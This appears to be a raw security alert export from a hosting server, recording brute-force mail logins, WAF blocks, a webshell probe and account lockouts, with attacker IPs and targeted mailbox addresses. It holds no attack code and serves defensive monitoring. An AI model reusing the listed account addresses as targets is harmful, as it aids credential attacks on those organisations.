name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-02-01 12:20:07 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:37150: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.202.145.6
country_id: 3865483
description:
2026-02-01 12:20:09 dovecot_login authenticator failed for H=(6-red145.ceviamonte.com.ar) [143.202.145.6]:37041: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.82.169.166
country_id: 2635167
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.158
country_id: 1269750
description:
2026-02-01 12:20:23 dovecot_login authenticator failed for H=([182.95.230.158]) [182.95.230.158]:34700: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-02-01 12:20:42 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:55768: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.82.170.208
country_id: 2635167
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/js/type.writter.js?ver=20151215 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.82.168.4
country_id: 2635167
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.82.150.217
country_id: 2635167
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/js/bootstrap.min.js?ver=20151215 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.206.72.4
country_id: 2635167
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/plugins/revslider/public/assets/js/rbtools.min.js?ver=6.3.9 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:20:02 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60941: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/img/demos/contact-us.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:20:38 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47276: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.82.168.131
country_id: 2635167
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.82.150.223
country_id: 2635167
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/js/owl.carousel.min.js?ver=20151215 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:21:30 dovecot_login authenticator failed for H=(74SC0T1vez) [158.94.208.175]:50322: 535 Incorrect authentication data (set_id=ramin.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-01 12:22:00 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:40526: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.145.67.99
country_id: 3996063
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=49 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:21:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56758: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:22:45 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47154: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.181.70
country_id: 1562822
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/about.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-02-01 12:22:17 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:43167: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:22:21 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63632: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.194
country_id: 1269750
description:
2026-02-01 12:22:27 dovecot_login authenticator failed for H=(nsg-corporate-194.230.187.122.airtel.in) [122.187.230.194]:54492: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.201.253
country_id: 1269750
description:
2026-02-01 12:22:29 dovecot_login authenticator failed for H=(49.206.201.253.actcorp.in) [49.206.201.253]:34364: 535 Incorrect authentication data (set_id=accounts)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:22:08 dovecot_login authenticator failed for H=(knctJb) [158.94.208.175]:61234: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.235.154.114
country_id: 1814991
description:
2026-02-01 12:22:16 dovecot_login authenticator failed for H=([221.235.154.114]) [221.235.154.114]:44580: 535 Incorrect authentication data (set_id=accounts@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.30.161.197
country_id: 690791
description:
2026-02-01 12:22:28 dovecot_login authenticator failed for H=(46.30.161.197.access.ipnet.ua) [46.30.161.197]:47388: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:23:07 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61135: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:23:16 dovecot_login authenticator failed for H=(rgEV1AvB) [158.94.208.175]:54040: 535 Incorrect authentication data (set_id=ramin.fpp@vc-b.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:23:20 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61135: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 144.48.163.45
country_id: 1210997
domain: www.fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.fkr.com.my/images/motor-tyre01.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.231.251.43
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=569531 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:24:07 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50909: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:24:10 dovecot_login authenticator failed for H=(yz6kaoLpn) [158.94.208.175]:61121: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:24:53 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:46426: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:25:24 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63434: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:25:20 dovecot_login authenticator failed for H=(ZFBNjaC) [158.94.208.175]:62034: 535 Incorrect authentication data (set_id=ramin.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:27:00 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:59224: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:26:04 dovecot_login authenticator failed for H=(gh4H67Y) [158.94.208.175]:65403: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:26:07 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52961: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:27:10 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58934: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:27:11 dovecot_login authenticator failed for H=(XsCqx6) [158.94.208.175]:62855: 535 Incorrect authentication data (set_id=ramin.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.245
country_id: 1814991
description:
2026-02-01 12:27:15 dovecot_login authenticator failed for H=([111.61.176.245]) [111.61.176.245]:18588: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 12:27:17 dovecot_login authenticator failed for H=(JH0D8jh) [158.94.208.110]:56194: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 12:27:38 dovecot_login authenticator failed for H=(NbE0HtNrP) [178.16.52.139]:60734: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.246.68.220
country_id: 1835841
description:
2026-02-01 12:27:43 dovecot_login authenticator failed for H=([49.246.68.220]) [49.246.68.220]:43902: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.3
country_id: 1814991
description:
2026-02-01 12:27:57 dovecot_login authenticator failed for H=([111.61.177.3]) [111.61.177.3]:10936: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:28:31 dovecot_login authenticator failed for H=(UdAhiKZ3) [158.94.208.175]:57953: 535 Incorrect authentication data (set_id=ramin.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:28:43 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56474: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 12:29:01 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:38147: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:28:07 dovecot_login authenticator failed for H=(q4Hr7KHv) [158.94.208.175]:65052: 535 Incorrect authentication data (set_id=ramin.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 12:28:13 dovecot_login authenticator failed for H=(6zkzT7B3) [158.94.208.110]:63977: 535 Incorrect authentication data (set_id=premalata)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-01 12:28:30 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:52112: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:29:06 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33150: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 12:29:22 dovecot_login authenticator failed for H=(sAFRqXY) [178.16.52.139]:64776: 535 Incorrect authentication data (set_id=mkmadmin@mkmetal.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 12:29:48 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ramin.fpp@vc-b.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 12:29:10 dovecot_login authenticator failed for H=(eXt2dJC) [158.94.208.110]:55559: 535 Incorrect authentication data (set_id=rafidah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:29:12 dovecot_login authenticator failed for H=(IXPbg6x4W) [158.94.208.175]:63538: 535 Incorrect authentication data (set_id=ramin.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:29:37 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63203: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 12:30:39 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ramin.fpp@vc-b.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 12:30:20 dovecot_login authenticator failed for H=(ia1AyxxM4) [158.94.208.110]:53346: 535 Incorrect authentication data (set_id=rafidah@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:30:33 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53687: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-02-01 12:30:37 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:51188: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:30:08 dovecot_login authenticator failed for H=(r9U5mdTCZ) [158.94.208.175]:54873: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.177.175.182
country_id: 357994
description:
2026-02-01 12:30:09 dovecot_plain authenticator failed for H=(stely) [154.177.175.182]:42916: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:31:08 dovecot_login authenticator failed for H=(uFMW5uC) [158.94.208.175]:52024: 535 Incorrect authentication data (set_id=ramin.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.233.140.250
country_id: 3469034
description:
2026-02-01 12:31:56 dovecot_login authenticator failed for H=([181.233.140.250]) [181.233.140.250]:40963: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.160.166.161
country_id: 1835841
description:
2026-02-01 12:31:04 dovecot_login authenticator failed for H=([121.160.166.161]) [121.160.166.161]:35710: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 12:31:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ramin.fpp@vc-b.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 12:31:08 dovecot_login authenticator failed for H=(pqZmB3F) [158.94.208.110]:61717: 535 Incorrect authentication data (set_id=rafidah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:31:16 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:51662: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:31:22 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52569: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.246.178
country_id: 1269750
description:
2026-02-01 12:32:07 dovecot_login authenticator failed for H=([152.52.246.178]) [152.52.246.178]:35082: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.147.75
country_id: 1269750
description:
2026-02-01 12:32:12 dovecot_login authenticator failed for H=([203.193.147.75]) [203.193.147.75]:48204: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.209.48.203
country_id: 1814991
description:
2026-02-01 12:32:41 dovecot_login authenticator failed for H=([221.209.48.203]) [221.209.48.203]:39808: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-02-01 12:32:31 dovecot_login authenticator failed for H=([169.211.232.182]) [169.211.232.182]:47332: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 12:32:44 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ramin.fpp@vc-b.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:32:04 dovecot_login authenticator failed for H=(fsV0Ck) [158.94.208.175]:63112: 535 Incorrect authentication data (set_id=ramin.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:32:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59498: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 12:32:19 dovecot_login authenticator failed for H=(jkiDM5) [158.94.208.110]:56757: 535 Incorrect authentication data (set_id=rafidah@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 12:32:24 dovecot_login authenticator failed for H=(SgbA02a8IG) [158.94.208.110]:57579: 535 Incorrect authentication data (set_id=premalata)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.159.71.249
country_id: 1835841
description:
2026-02-01 12:32:54 dovecot_login authenticator failed for H=([121.159.71.249]) [121.159.71.249]:38996: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:33:13 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64611: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.106.64.101
country_id: 2635167
description:
2026-02-01 12:33:42 dovecot_login authenticator failed for H=ip87-106-64-101.pbiaas.com (localhost) [87.106.64.101]:57067: 535 Incorrect authentication data (set_id=payment@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.30.11.253
country_id: 6252001
description:
2026-02-01 12:33:50 dovecot_plain authenticator failed for H=(eluxeconic) [23.30.11.253]:50706: 535 Incorrect authentication data (set_id=seanlee@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 12:33:07 dovecot_login authenticator failed for H=(AOQqyE8gsV) [158.94.208.110]:64544: 535 Incorrect authentication data (set_id=rafidah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:33:26 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:48930: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:33:53 dovecot_login authenticator failed for H=(hjckW72MJ) [158.94.208.175]:58656: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:34:36 dovecot_login authenticator failed for H=(SVgcmamRps) [158.94.208.175]:57508: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:34:27 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60448: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:35:11 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50732: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:35:33 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:41002: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:35:06 dovecot_login authenticator failed for H=(BNX64qI) [158.94.208.175]:55781: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.22.153
country_id: 1668284
description:
2026-02-01 12:36:19 dovecot_login authenticator failed for H=111-70-22-153.emome-ip.hinet.net [111.70.22.153]:42768: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 12:36:23 dovecot_login authenticator failed for H=(YLu2pVq9) [178.16.52.139]:53684: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.227
country_id: 1269750
description:
2026-02-01 12:36:44 dovecot_login authenticator failed for H=(nsg-corporate-227.230.187.122.airtel.in) [122.187.230.227]:39522: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.75.218.103
country_id: 1269750
description:
2026-02-01 12:36:56 dovecot_login authenticator failed for H=([103.55.89.5]) [116.75.218.103]:37938: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:36:10 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56868: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:36:11 dovecot_login authenticator failed for H=(rrTafn) [158.94.208.175]:49174: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.185.173.167
country_id: 1814991
description:
2026-02-01 12:36:09 dovecot_login authenticator failed for H=([110.185.173.167]) [110.185.173.167]:57986: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 12:37:47 dovecot_login authenticator failed for H=(cEAzhl) [178.16.52.139]:58462: 535 Incorrect authentication data (set_id=mkmadmin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:37:25 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58354: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:37:05 dovecot_login authenticator failed for H=(AC98N8) [158.94.208.175]:54766: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:37:40 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:35176: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.204.134.124
country_id: 6252001
description:
2026-02-01 12:37:07 dovecot_plain authenticator failed for H=c-98-204-134-124.hsd1.md.comcast.net (undue) [98.204.134.124]:36358: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.161.217.228
country_id: 2510769
description:
2026-02-01 12:37:28 dovecot_login authenticator failed for H=(228.pool90-161-217.static.orange.es) [90.161.217.228]:37077: 535 Incorrect authentication data


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
